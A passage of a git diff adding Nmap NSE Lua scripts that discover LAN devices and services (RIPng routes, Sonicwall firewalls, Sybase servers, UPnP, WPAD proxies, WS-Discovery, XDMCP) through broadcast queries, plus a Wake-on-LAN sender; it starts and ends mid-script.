+ -- @param command number containing the RIPv2 Command to use
+ -- @return o instance of request
+ new = function(self, entries)
+ local o = {
+ command = 1,
+ version = 1,
+ entries = entries,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the whole request to a string
+ __tostring = function(self)
+ local RESERVED = 0
+ local str = {string.pack(">BB I2", self.command, self.version, RESERVED)}
+ for _, rte in ipairs(self.entries) do
+ str[#str+1] = tostring(rte)
+ end
+ return table.concat(str)
+ end,
+
+ },
+
+ -- A RIPng Response
+ Response = {
+
+ -- Creates a new Response instance
+ -- @return o new instance of Response
+ new = function(self)
+ local o = { }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Creates a new Response instance based on a string of bytes
+ -- @return resp new instance of Response
+ parse = function(data)
+ local resp = RIPng.Response:new()
+ local pos, _
+
+ resp.command, resp.version, _, pos = string.unpack(">BB I2", data)
+ resp.entries = {}
+ while( pos < #data ) do
+ local e = RIPng.RTE.parse(data:sub(pos))
+ table.insert(resp.entries, e)
+ pos = pos + 20
+ end
+
+ return resp
+ end,
+ }
+}
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+-- Parses a RIPng response
+-- @return ret string containing the routing table
+local function parse_response(resp)
+ local next_hop
+ local result = tab.new(3)
+ tab.addrow(result, "route", "metric", "next hop")
+ for _, rte in pairs(resp.entries or {}) do
+ -- next hop information is specified in a separate RTE according to
+ -- RFC 2080 section 2.1.1
+ if ( 0xFF == rte.metric ) then
+ next_hop = rte.prefix
+ else
+ tab.addrow(result, ("%s/%d"):format(rte.prefix, rte.prefix_len), rte.metric, next_hop or "")
+ end
+ end
+ return tab.dump(result)
+end
+
+action = function()
+
+ local req = RIPng.Request:new( { RIPng.RTE:new("0::", 0, 0, 16) } )
+ local host, port = "FF02::9", { number = 521, protocol = "udp" }
+ local iface = nmap.get_interface()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
+ timeout = (timeout or 5) * 1000
+
+ local sock = nmap.new_socket("udp")
+ sock:bind(nil, 521)
+ sock:set_timeout(timeout)
+
+ local status = sock:sendto(host, port, tostring(req))
+
+ -- do we need to add the interface name to the address?
+ if ( not(status) ) then
+ if ( not(iface) ) then
+ return fail("Couldn't determine what interface to use, try supplying it with -e")
+ end
+ status = sock:sendto(host .. "%" .. iface, port, tostring(req))
+ end
+
+ if ( not(status) ) then
+ return fail("Failed to send request to server")
+ end
+
+ local responses = {}
+ while(true) do
+ local status, data = sock:receive()
+ if ( not(status) ) then
+ break
+ else
+ local status, _, _, rhost = sock:get_info()
+ if ( not(status) ) then
+ rhost = "unknown"
+ end
+ responses[rhost] = RIPng.Response.parse(data)
+ end
+ end
+
+ local result = {}
+ for ip, resp in pairs(responses) do
+ stdnse.debug1(ip, resp)
+ table.insert(result, { name = ip, parse_response(resp) } )
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/broadcast-sonicwall-discover.nse b/scripts/broadcast-sonicwall-discover.nse
new file mode 100644
index 0000000..4bdd5b8
--- /dev/null
+++ b/scripts/broadcast-sonicwall-discover.nse
@@ -0,0 +1,122 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local target = require "target"
+
+description = [[
+Discovers Sonicwall firewalls which are directly attached (not routed) using
+the same method as the manufacturers own 'SetupTool'. An interface needs to be
+configured, as the script broadcasts a UDP packet.
+
+The script needs to be run as a privileged user, typically root.
+
+References:
+* https://support.software.dell.com/kb/sw3677)
+]]
+
+---
+-- @usage
+-- nmap -e eth0 --script broadcast-sonicwall-discover
+--
+-- @output
+-- | broadcast-sonicwall-discover:
+-- | 192.168.5.1
+-- | MAC/Serial: 0006B1001122
+-- | Subnetmask: 255.255.255.0
+-- | Firmware: 3.9.1.2
+-- |_ ROM: 14.0.1.1
+--
+-- @args broadcast-sonicwall-discover.timeout time in seconds to wait for a response
+-- (default: 1s)
+
+author = "Raphael Hoegger"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+-- preliminary checks
+local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
+
+prerule = function()
+ if not nmap.is_privileged() then
+ stdnse.verbose1("Not running for lack of privileges.")
+ return false
+ end
+
+ local has_interface = ( interface ~= nil )
+ if ( not(has_interface) ) then
+ stdnse.verbose1("No network interface was supplied, aborting.")
+ return false
+ end
+ return true
+end
+
+action = function(host, port)
+ local sock, co
+ sock = nmap.new_socket()
+
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ timeout = (timeout or 1) * 1000
+
+ -- listen for a response
+ sock:set_timeout(timeout)
+ sock:pcap_open(interface, 1500, false, "ip && udp && port 26214 && greater 57")
+ send_discover()
+
+ local start_time = nmap.clock_ms()
+ local results = stdnse.output_table()
+ while( nmap.clock_ms() - start_time < timeout ) do
+ local status, plen, _, layer3 = sock:pcap_receive()
+ -- stop once we picked up our response
+ if ( status ) then
+ sock:close()
+ local p = packet.Packet:new( layer3, #layer3)
+
+ if ( p and p.udp_dport ) then
+ -- parsing the result
+ local IP = string.sub(layer3:sub(41), 0,4)
+ IP = ipOps.str_to_ip(IP)
+ local Netmask = string.sub(layer3:sub(45), 0,4)
+ Netmask = ipOps.str_to_ip(Netmask)
+ local Serial = string.sub(layer3:sub(49), 0,6)
+ Serial = stdnse.tohex(Serial)
+ local Romversion = string.sub(layer3:sub(55), 0,2)
+ local ROMM = stdnse.tohex(Romversion, {separator=".", group=1})
+ ROMM = string.gsub(ROMM, "[0-9a-f]", function(n) return tonumber(n, 16) end)
+ local Firmwareversion = string.sub(layer3:sub(57), 0,2)
+ local FIRMM = stdnse.tohex(Firmwareversion, {separator=".", group=1})
+ FIRMM = string.gsub(FIRMM, "[0-9a-f]", function(n) return tonumber(n, 16) end)
+
+ -- add nodes
+ if target.ALLOW_NEW_TARGETS then
+ target.add(IP)
+ end
+
+ local output = stdnse.output_table()
+ output['MAC/Serial'] = Serial
+ output['Subnetmask'] = Netmask
+ output['Firmware'] = FIRMM
+ output['ROM Version'] = ROMM
+ results[IP] = output
+ end
+ end
+ sock:close()
+ end
+ if #results > 0 then
+ return results
+ end
+end
+
+function send_discover()
+ local host="255.255.255.255"
+ local port="26214"
+ local socket = nmap.new_socket("udp")
+
+ local status = socket:sendto(host, port, "ackfin ping\00")
+ if not status then return end
+ socket:close()
+
+ return true
+end
diff --git a/scripts/broadcast-sybase-asa-discover.nse b/scripts/broadcast-sybase-asa-discover.nse
new file mode 100644
index 0000000..cbea5ea
--- /dev/null
+++ b/scripts/broadcast-sybase-asa-discover.nse
@@ -0,0 +1,188 @@
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Discovers Sybase Anywhere servers on the LAN by sending broadcast discovery messages.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-sybase-asa-discover
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-sybase-asa-discover:
+-- | ip=192.168.0.1; name=mysqlanywhere1; port=2638
+-- |_ ip=192.168.0.2; name=mysqlanywhere2; port=49152
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "broadcast", "safe" }
+
+prerule = function() return ( nmap.address_family() == "inet") end
+
+--
+-- The following code is a bit overkill and is meant to go into a library once
+-- more scripts that make use of it are developed.
+--
+Ping = {
+
+ -- The PING request class
+ Request = {
+
+ -- Creates a new Ping request
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- returns the ping request as a string
+ __tostring = function(self)
+ return stdnse.fromhex("1b00003d0000000012")
+ .. "CONNECTIONLESS_TDS"
+ .. stdnse.fromhex("000000010000040005000500000102000003010104080000000000000000070204b1")
+ end
+ },
+
+ -- The Ping Response class
+ Response = {
+ -- Creates a new response
+ -- @param data string containing the raw data as received over the socket
+ -- @return o instance of Response
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse()
+ if ( o.dbinstance ) then
+ return o
+ end
+ end,
+
+ -- Parses the raw response and populates the
+ -- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
+ parse = function(self)
+ -- do a very basic length check
+ local len, pos = string.unpack(">I4", self.data)
+ len = len & 0x0000FFFF
+
+ if ( len ~= #self.data ) then
+ stdnse.debug2("The packet length was reported as %d, expected %d", len, #self.data)
+ return
+ end
+
+ local connectionless_tds
+ connectionless_tds, pos = string.unpack("s1", self.data, 9)
+ if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
+ stdnse.debug2("Did not find the expected CONNECTIONLESS_TDS header")
+ return
+ end
+
+ self.dbinstance = {}
+ self.dbinstance.name, pos = string.unpack("s1", self.data, 40)
+ pos = pos + 2
+ self.dbinstance.port, pos = string.unpack(">I2", self.data, pos)
+ end,
+ }
+
+}
+
+-- Main script interface
+Helper = {
+
+ -- Creates a new helper instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param options table containing:
+ -- <code>timeout</code> - the amount of time to listen for responses
+ -- @return o instance of Helper
+ new = function(self, host, port, options)
+ local o = {
+ host = host,
+ port = port,
+ options = options or {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Sends a ping request to the service and processes the response
+ -- @return status true on success, false on failure
+ -- @return instances table of instance tables containing
+ -- <code>name</code> - the instance name
+ -- <code>ip</code> - the instance ip
+ -- <code>port</code> - the instance port
+ -- err string containing error message on failure
+ ping = function(self)
+ local socket = nmap.new_socket("udp")
+ socket:set_timeout(1000)
+
+ -- send 2 packets just in case
+ for i=1, 2 do
+ local ping_req = Ping.Request:new()
+ local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
+ if ( not(status) ) then
+ return false, "Failed to send broadcast packet"
+ end
+ end
+
+ local stime = os.time()
+ local instances = {}
+ local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
+
+ repeat
+ local status, data = socket:receive()
+ if ( status ) then
+ local response = Ping.Response:new(data)
+ if ( response ) then
+ local status, _, _, rhost, _ = socket:get_info()
+ if ( not(status) ) then
+ socket:close()
+ return false, "Failed to get socket information"
+ end
+ response.dbinstance.ip = rhost
+ -- avoid duplicates
+ instances[response.dbinstance.name] = response.dbinstance
+ end
+ end
+ until( os.time() - stime > timeout )
+ socket:close()
+
+ return true, instances
+ end,
+
+
+}
+
+action = function()
+
+ local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
+ local host = { ip = "255.255.255.255" }
+ local port = { number = 2638, protocol = "udp" }
+
+ local helper = Helper:new(host, port)
+ local status, instances = helper:ping()
+
+ if ( not(status) ) then
+ return stdnse.format_output(false, instances)
+ end
+
+ -- if we don't have any instances, silently abort
+ if ( next(instances) == nil ) then
+ return
+ end
+
+ local result = {}
+ for _, instance in pairs(instances) do
+ table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
+ end
+ table.sort(result)
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/broadcast-tellstick-discover.nse b/scripts/broadcast-tellstick-discover.nse
new file mode 100644
index 0000000..bd2b5f0
--- /dev/null
+++ b/scripts/broadcast-tellstick-discover.nse
@@ -0,0 +1,69 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description=[[
+Discovers Telldus Technologies TellStickNet devices on the LAN. The Telldus
+TellStick is used to wirelessly control electric devices such as lights,
+dimmers and electric outlets. For more information: http://www.telldus.com/
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-tellstick-discover
+--
+-- @output
+-- | broadcast-tellstick-discover:
+-- | 192.168.0.100
+-- | Product: TellStickNet
+-- | MAC: ACCA12345678
+-- | Activation code: 8QABCDEFGH
+-- |_ Version: 3
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+prerule = function() return ( nmap.address_family() == 'inet' ) end
+
+action = function()
+ local socket = nmap.new_socket("udp")
+ local host, port = { ip = "255.255.255.255" }, { number = 30303, protocol = "udp" }
+
+ socket:set_timeout(5000)
+ if ( not(socket:sendto(host, port, "D")) ) then
+ return stdnse.format_output(false, "Failed to send discovery request to server")
+ end
+
+ local output = {}
+
+ while( true ) do
+ local status, response = socket:receive()
+ if ( not(status) ) then
+ break
+ end
+
+ local status, _, _, ip = socket:get_info()
+ if ( not(status) ) then
+ stdnse.debug2("Failed to get socket information")
+ break
+ end
+
+ local prod, mac, activation, version = response:match("^([^:]*):([^:]*):([^:]*):([^:]*)$")
+ if ( prod and mac and activation and version ) then
+ local output_part = {
+ name = ip,
+ ("Product: %s"):format(prod),
+ ("MAC: %s"):format(mac),
+ ("Activation code: %s"):format(activation),
+ ("Version: %s"):format(version)
+ }
+ table.insert(output, output_part)
+ end
+ end
+
+ if ( 0 < #output ) then
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/broadcast-upnp-info.nse b/scripts/broadcast-upnp-info.nse
new file mode 100644
index 0000000..3e0f482
--- /dev/null
+++ b/scripts/broadcast-upnp-info.nse
@@ -0,0 +1,51 @@
+local stdnse = require "stdnse"
+local upnp = require "upnp"
+
+description = [[
+Attempts to extract system information from the UPnP service by sending a multicast query, then collecting, parsing, and displaying all responses.
+]]
+
+---
+-- @output
+-- | broadcast-upnp-info:
+-- | 1.2.3.50
+-- | Debian/4.0 DLNADOC/1.50 UPnP/1.0 MiniDLNA/1.0
+-- | Location: http://1.2.3.50:8200/rootDesc.xml
+-- | Webserver: Debian/4.0 DLNADOC/1.50 UPnP/1.0 MiniDLNA/1.0
+-- | Name: BUBBA|TWO DLNA Server
+-- | Manufacturer: Justin Maggard
+-- | Model Descr: MiniDLNA on Debian
+-- | Model Name: Windows Media Connect compatible (MiniDLNA)
+-- | Model Version: 1
+-- | 1.2.3.114
+-- | Linux/2.6 UPnP/1.0 KDL-32EX701/1.7
+-- | Location: http://1.2.3.114:52323/dmr.xml
+-- | Webserver: Linux/2.6 UPnP/1.0 KDL-32EX701/1.7
+-- | Name: BRAVIA KDL-32EX701
+-- | Manufacturer: Sony Corporation
+-- |_ Model Name: KDL-32EX701
+
+-- Version 0.1
+
+-- Created 10/29/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+---
+-- Sends UPnP discovery packet to host,
+-- and extracts service information from results
+action = function()
+ local helper = upnp.Helper:new()
+ helper:setMulticast(true)
+ local status, result = helper:queryServices()
+
+ if ( status ) then
+ return stdnse.format_output(true, result)
+ end
+end
+
diff --git a/scripts/broadcast-versant-locate.nse b/scripts/broadcast-versant-locate.nse
new file mode 100644
index 0000000..015c0c8
--- /dev/null
+++ b/scripts/broadcast-versant-locate.nse
@@ -0,0 +1,41 @@
+local srvloc = require "srvloc"
+local table = require "table"
+
+description = [[
+Discovers Versant object databases using the broadcast srvloc protocol.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-versant-locate
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-versant-locate:
+-- |_ vod://192.168.200.222:5019
+--
+-- @xmloutput
+-- <table>
+-- <elem>vod://192.168.200.222:5019</elem>
+-- </table>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+action = function()
+ local helper = srvloc.Helper:new()
+ local status, result = helper:ServiceRequest("service:odbms.versant:vod", "default")
+ helper:close()
+
+ if ( not(status) ) then return end
+ local output = {}
+ for _, v in ipairs(result) do
+ table.insert(output, v:match("^service:odbms.versant:vod://(.*)$"))
+ end
+ return output
+end
diff --git a/scripts/broadcast-wake-on-lan.nse b/scripts/broadcast-wake-on-lan.nse
new file mode 100644
index 0000000..54e69f8
--- /dev/null
+++ b/scripts/broadcast-wake-on-lan.nse
@@ -0,0 +1,68 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Wakes a remote system up from sleep by sending a Wake-On-Lan packet.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-wake-on-lan --script-args broadcast-wake-on-lan.MAC='00:12:34:56:78:9A'
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-wake-on-lan:
+-- |_ Sent WOL packet to: 10:9a:dd:a8:40:24
+--
+-- @args broadcast-wake-on-lan.MAC The MAC address of the remote system to wake up
+-- @args broadcast-wake-on-lan.address The broadcast address to which the WoL packet is sent.
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+local MAC = stdnse.get_script_args("broadcast-wake-on-lan.MAC")
+local address = stdnse.get_script_args("broadcast-wake-on-lan.address")
+
+prerule = function()
+ -- only run if we are ipv4 and have a MAC
+ return (MAC ~= nil and nmap.address_family() == "inet")
+end
+
+-- Creates the WoL packet based on the remote MAC
+-- @param mac string containing the MAC without delimiters
+-- @return packet string containing the raw packet
+local function createWOLPacket(mac)
+ return "\xff\xff\xff\xff\xff\xff" .. string.rep(stdnse.fromhex(mac), 16)
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function()
+
+ local MAC_hex
+ if ( MAC:match("%x%x:%x%x:%x%x:%x%x:%x%x:%x%x") ) then
+ MAC_hex = MAC:gsub(":", "")
+ elseif( MAC:match("%x%x%-%x%x%-%x%x%-%x%x%-%x%x%-%x%x") ) then
+ MAC_hex = MAC:gsub("-", "")
+ else
+ return fail("Failed to process MAC address")
+ end
+
+ local host = { ip = address or "255.255.255.255" }
+ local port = { number = 9, protocol = "udp" }
+ local socket = nmap.new_socket("udp")
+
+ -- send two packets, just in case
+ for i=1,2 do
+ local packet = createWOLPacket(MAC_hex)
+ local status, err = socket:sendto(host, port, packet)
+ if ( not(status) ) then
+ return fail("Failed to send packet")
+ end
+ end
+ return stdnse.format_output(true, ("Sent WOL packet to: %s"):format(MAC))
+end
+
diff --git a/scripts/broadcast-wpad-discover.nse b/scripts/broadcast-wpad-discover.nse
new file mode 100644
index 0000000..a9c6cba
--- /dev/null
+++ b/scripts/broadcast-wpad-discover.nse
@@ -0,0 +1,242 @@
+local dhcp = require "dhcp"
+local dns = require "dns"
+local http = require "http"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Retrieves a list of proxy servers on a LAN using the Web Proxy
+Autodiscovery Protocol (WPAD). It implements both the DHCP and DNS
+methods of doing so and starts by querying DHCP to get the address.
+DHCP discovery requires nmap to be running in privileged mode and will
+be skipped when this is not the case. DNS discovery relies on the
+script being able to resolve the local domain either through a script
+argument or by attempting to reverse resolve the local IP.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-wpad-discover
+--
+-- @output
+-- | broadcast-wpad-discover:
+-- | 1.2.3.4:8080
+-- |_ 4.5.6.7:3128
+--
+-- @args broadcast-wpad-discover.domain the domain in which the WPAD host should be discovered
+-- @args broadcast-wpad-discover.nodns instructs the script to skip discovery using DNS
+-- @args broadcast-wpad-discover.nodhcp instructs the script to skip discovery using dhcp
+-- @args broadcast-wpad-discover.getwpad instructs the script to retrieve the WPAD file instead of parsing it
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+local arg_domain = stdnse.get_script_args(SCRIPT_NAME .. ".domain")
+local arg_nodns = stdnse.get_script_args(SCRIPT_NAME .. ".nodns")
+local arg_nodhcp = stdnse.get_script_args(SCRIPT_NAME .. ".nodhcp")
+local arg_getwpad= stdnse.get_script_args(SCRIPT_NAME .. ".getwpad")
+
+local function createRequestList(req_list)
+ local output = {}
+ for i, v in ipairs(req_list) do
+ output[i] = string.char(v)
+ end
+ return table.concat(output)
+end
+
+
+-- Gets a list of available interfaces based on link and up filters
+--
+-- @param link string containing the link type to filter
+-- @param up string containing the interface status to filter
+-- @return result table containing the matching interfaces
+local function getInterfaces(link, up)
+ if( not(nmap.list_interfaces) ) then return end
+ local interfaces, err = nmap.list_interfaces()
+ local result
+ if ( not(err) ) then
+ for _, iface in ipairs(interfaces) do
+ if ( iface.link == link and iface.up == up ) then
+ result = result or {}
+ result[iface.device] = true
+ end
+ end
+ end
+ return result
+end
+
+
+local function parseDHCPResponse(response)
+ for _, v in ipairs(response.options) do
+ if ( "WPAD" == v.name ) then
+ return true, v.value
+ end
+ end
+end
+
+local function getWPAD(u)
+ local u_parsed = url.parse(u)
+
+ if ( not(u_parsed) ) then
+ return false, ("Failed to parse url: %s"):format(u)
+ end
+
+ local response = http.get(u_parsed.host, u_parsed.port or 80, u_parsed.path)
+ if ( response and response.status == 200 ) then
+ return true, response.body
+ end
+
+ return false, ("Failed to retrieve wpad.dat (%s) from server"):format(u)
+end
+
+local function parseWPAD(wpad)
+ local proxies = {}
+ for proxy in wpad:gmatch("PROXY%s*([^\";%s]*)") do
+ table.insert(proxies, proxy)
+ end
+ return proxies
+end
+
+-- cache of all names we've already tried once. No point in wasting time.
+local wpad_dns_tried = {}
+
+-- tries to discover WPAD for all domains and sub-domains
+local function enumWPADNames(domain)
+ local d = domain
+ -- reduce domain until we only have a single dot left
+ -- there is a security problem in querying for wpad.tld like eg
+ -- wpad.com as this could be a rogue domain. This loop does not
+ -- account for domains with tld's containing two parts e.g. co.uk.
+ -- However, as the script just attempts to download and parse the
+ -- proxy values in the WPAD there should be no real harm here.
+ repeat
+ local name = ("wpad.%s"):format(d)
+ if wpad_dns_tried[name] then
+ -- We've been here before, stop.
+ d = nil
+ else
+ wpad_dns_tried[name] = true
+ d = d:match("^[^%.]-%.(.*)$")
+ local status, response = dns.query(name, { dtype = 'A', retAll = true })
+
+ -- get the first entry and return
+ if ( status and response[1] ) then
+ return true, { name = name, ip = response[1] }
+ end
+ end
+ until not d
+
+end
+
+local function dnsDiscover()
+ -- first try a domain if it was supplied
+ if ( arg_domain ) then
+ local status, response = enumWPADNames(arg_domain)
+ if ( status ) then
+ return status, response
+ end
+ end
+
+
+ -- if no domain was supplied, attempt to reverse lookup every ip on each
+ -- interface to find our FQDN hostname, once we do, try to query for WPAD
+ for i in pairs(getInterfaces("ethernet", "up") or {}) do
+ local iface, err = nmap.get_interface_info(i)
+ if ( iface ) then
+ local status, response = dns.query( dns.reverse(iface.address), { dtype = 'PTR', retAll = true } )
+
+ -- did we get a name back from dns?
+ if ( status ) then
+ local domains = {}
+ for _, name in ipairs(response) do
+ -- first get all unique domain names
+ if ( not(name:match("in%-addr.arpa$")) ) then
+ local domain = name:match("^[^%.]-%.(.*)$")
+ domains[domain or ""] = true
+ end
+ end
+
+ -- attempt to discover the ip for WPAD in all domains
+ -- each domain is processed and reduced and ones the first
+ -- match is received it returns an IP
+ for domain in pairs(domains) do
+ status, response = enumWPADNames(domain)
+ if ( status ) then
+ return true, response
+ end
+ end
+
+ end
+
+ end
+ end
+
+ return false, "Failed to find WPAD using DNS"
+
+end
+
+local function dhcpDiscover()
+
+ -- send a DHCP discover on all ethernet interfaces that are up
+ for i in pairs(getInterfaces("ethernet", "up") or {}) do
+ local iface, err = nmap.get_interface_info(i)
+ if ( iface ) then
+ local req_list = createRequestList( { 1, 15, 3, 6, 44, 46, 47, 31, 33, 249, 43, 252 } )
+ local status, response = dhcp.make_request("255.255.255.255", dhcp.request_types["DHCPDISCOVER"], "0.0.0.0", iface.mac, nil, req_list, { flags = 0x8000 } )
+
+ -- if we got a response, we're happy and don't need to continue
+ if (status) then
+ return status, response
+ end
+ end
+ end
+
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function()
+
+ local status, response, wpad
+
+ if ( arg_nodhcp and arg_nodns ) then
+ stdnse.verbose1("Both nodns and nodhcp arguments were supplied")
+ return fail("Both nodns and nodhcp arguments were supplied")
+ end
+
+ if ( nmap.is_privileged() and not(arg_nodhcp) ) then
+ status, response = dhcpDiscover()
+ if ( status ) then
+ status, wpad = parseDHCPResponse(response)
+ end
+ end
+
+ -- if the DHCP did not get a result, fallback to DNS
+ if (not(status) and not(arg_nodns) ) then
+ status, response = dnsDiscover()
+ if ( not(status) ) then
+ local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
+ return fail(("Could not find WPAD using %s"):format(services))
+ end
+ wpad = ("http://%s/wpad.dat"):format( response.name )
+ end
+
+ if ( status ) then
+ status, response = getWPAD(wpad)
+ end
+
+ if ( not(status) ) then
+ return status, response
+ end
+
+ local output = ( arg_getwpad and response or parseWPAD(response) )
+
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/broadcast-wsdd-discover.nse b/scripts/broadcast-wsdd-discover.nse
new file mode 100644
index 0000000..09cca0d
--- /dev/null
+++ b/scripts/broadcast-wsdd-discover.nse
@@ -0,0 +1,102 @@
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local wsdd = require "wsdd"
+
+description = [[
+Uses a multicast query to discover devices supporting the Web Services
+Dynamic Discovery (WS-Discovery) protocol. It also attempts to locate
+any published Windows Communication Framework (WCF) web services (.NET
+4.0 or later).
+]]
+
+---
+-- @usage
+-- sudo ./nmap --script broadcast-wsdd-discover
+--
+-- @output
+-- | broadcast-wsdd-discover:
+-- | Devices
+-- | 1.2.3.116
+-- | Message id: 9ea97e41-e874-faa7-fe28-deadbeefceb3
+-- | Address: http://1.2.3.116:50000
+-- | Type: Device wprt:PrintDeviceType
+-- | 1.2.3.131
+-- | Message id: 4d971368-291c-1218-30f1-deadbeefceb3
+-- | Address: http://1.2.3.131:5357/deadbeef-ea5c-4b9a-a68d-deadbeefceb3/
+-- | Type: Device pub:Computer
+-- | 1.2.3.110
+-- | Message id: f5a25a38-d61c-49e5-96c4-deadbeefceb3
+-- | Address: http://1.2.3.110:5357/deadbeef-469b-4da4-b413-deadbeefee90/
+-- | Type: Device pub:Computer
+-- | WCF Services
+-- | 1.2.3.131
+-- | Message id: c1767df8-43e5-4440-9e26--deadbeefceb3
+-- |_ Address: http://win-7:8090/discovery/scenarios/service2/deadbeef-3382-4668-86e7-deadbeefb935/
+--
+--
+
+--
+-- Version 0.1
+-- Created 10/31/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+-- function used for running several discovery threads in parallel
+--
+-- @param funcname string containing the name of the function to run
+-- the name should be one of the discovery functions in wsdd.Helper
+-- @param result table into which the results are stored
+discoverThread = function( funcname, results )
+ -- calculates a timeout based on the timing template (default: 5s)
+ local timeout = ( 20000 / ( nmap.timing_level() + 1 ) )
+ local condvar = nmap.condvar( results )
+ local helper = wsdd.Helper:new()
+ helper:setMulticast(true)
+ helper:setTimeout(timeout)
+
+ local status, result = helper[funcname](helper)
+ if ( status ) then table.insert(results, result) end
+ condvar("broadcast")
+end
+
+local function sortfunc(a,b)
+ if ( a and b and a.name and b.name ) and ( a.name < b.name ) then
+ return true
+ end
+ return false
+end
+
+action = function()
+
+ local threads, results = {}, {}
+ local condvar = nmap.condvar( results )
+
+ -- Attempt to discover both devices and WCF web services
+ for _, f in ipairs( {"discoverDevices", "discoverWCFServices"} ) do
+ threads[stdnse.new_thread( discoverThread, f, results )] = true
+ end
+
+ local done
+ -- wait for all threads to finish
+ while( not(done) ) do
+ done = true
+ for thread in pairs(threads) do
+ if (coroutine.status(thread) ~= "dead") then done = false end
+ end
+ if ( not(done) ) then
+ condvar("wait")
+ end
+ end
+
+ if ( results ) then
+ table.sort( results, sortfunc )
+ return stdnse.format_output(true, results)
+ end
+end
diff --git a/scripts/broadcast-xdmcp-discover.nse b/scripts/broadcast-xdmcp-discover.nse
new file mode 100644
index 0000000..c557bdb
--- /dev/null
+++ b/scripts/broadcast-xdmcp-discover.nse
@@ -0,0 +1,73 @@
+local os = require "os"
+local stdnse = require "stdnse"
+local table = require "table"
+local xdmcp = require "xdmcp"
+
+description = [[
+Discovers servers running the X Display Manager Control Protocol (XDMCP) by
+sending a XDMCP broadcast request to the LAN. Display managers allowing access
+are marked using the keyword Willing in the result.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-xdmcp-discover
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-xdmcp-discover:
+-- |_ 192.168.2.162 - Willing
+--
+-- @args broadcast-xdmcp-discover.timeout socket timeout (default: 5s)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+
+action = function()
+
+ local host, port = { ip = "255.255.255.255" }, { number = 177, protocol = "udp" }
+ local options = { timeout = 1 }
+ local helper = xdmcp.Helper:new(host, port, options)
+ local status = helper:connect()
+
+ local req = xdmcp.Packet[xdmcp.OpCode.BCAST_QUERY]:new(nil)
+ local status, err = helper:send(req)
+ if ( not(status) ) then
+ return false, err
+ end
+
+ local timeout = arg_timeout or 5
+ local start = os.time()
+ local result = {}
+ repeat
+
+ local status, response = helper:recv()
+ if ( not(status) and response ~= "TIMEOUT" ) then
+ break
+ elseif ( status ) then
+ local status, _, _, rhost = helper.socket:get_info()
